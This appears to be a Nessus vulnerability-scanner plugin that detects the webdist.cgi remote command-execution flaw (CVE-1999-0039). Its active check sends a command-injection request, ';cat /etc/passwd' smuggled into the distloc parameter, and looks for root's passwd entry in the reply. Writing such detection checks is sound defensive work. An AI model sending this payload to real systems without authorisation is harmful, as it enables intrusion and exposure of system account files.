# # This script was written by Renaud Deraison # # See the Nessus Scripts License for details # if(description) { script_id(10299); script_version ("$Revision$"); script_bugtraq_id(374); script_cve_id("CVE-1999-0039"); name["english"] = "webdist.cgi"; name["francais"] = "webdist.cgi"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = "The 'webdist.cgi' cgi is installed. This CGI has a well known security flaw that lets anyone execute arbitrary commands with the privileges of the http daemon (root or nobody). Solution : remove it from /cgi-bin. Risk factor : Serious"; desc["francais"] = "Le cgi 'webdist.cgi' est installé. Celui-ci possède un problème de sécurité bien connu qui permet à n'importe qui de faire executer des commandes arbitraires au daemon http, avec les privilèges de celui-ci (root ou nobody). Solution : retirez-le de /cgi-bin. Facteur de risque : Sérieux"; script_description(english:desc["english"], francais:desc["francais"]); summary["english"] = "Checks for the presence of /cgi-bin/webdist.cgi"; summary["francais"] = "Vérifie la présence de /cgi-bin/webdist.cgi"; script_summary(english:summary["english"], francais:summary["francais"]); script_category(ACT_MIXED_ATTACK); # mixed script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison", francais:"Ce script est Copyright (C) 1999 Renaud Deraison"); family["english"] = "CGI abuses"; family["francais"] = "Abus de CGI"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "no404.nasl"); script_require_ports("Services/www", 80); exit(0); } # # The script code starts here # include("http_func.inc"); include("http_keepalive.inc"); if(safe_checks()) { port = is_cgi_installed("webdist.cgi"); if(port) { data = " The 'webdist.cgi' cgi is installed. This CGI has a well known security flaw that lets anyone execute arbitrary commands with the privileges of the http daemon (root or nobody). *** Nessus reports this vulnerability using only *** information that was gathered. Use caution *** when testing without safe checks enabled. Solution : remove it from /cgi-bin. Risk factor : Serious"; security_hole(port:port, data:data); } exit(0); } port = get_kb_item("Services/www"); if(!port) port = 80; if(!get_port_state(port))exit(0); foreach dir (cgi_dirs()) { buf = string(dir, "/webdist.cgi?distloc=;cat%20/etc/passwd"); buf = http_get(item:buf, port:port); d = http_keepalive_send_recv(port:port, data:buf); if( d == NULL ) exit(0); if(egrep(pattern:".*root:.*:0:[01]:.*", string:d))security_hole(port); }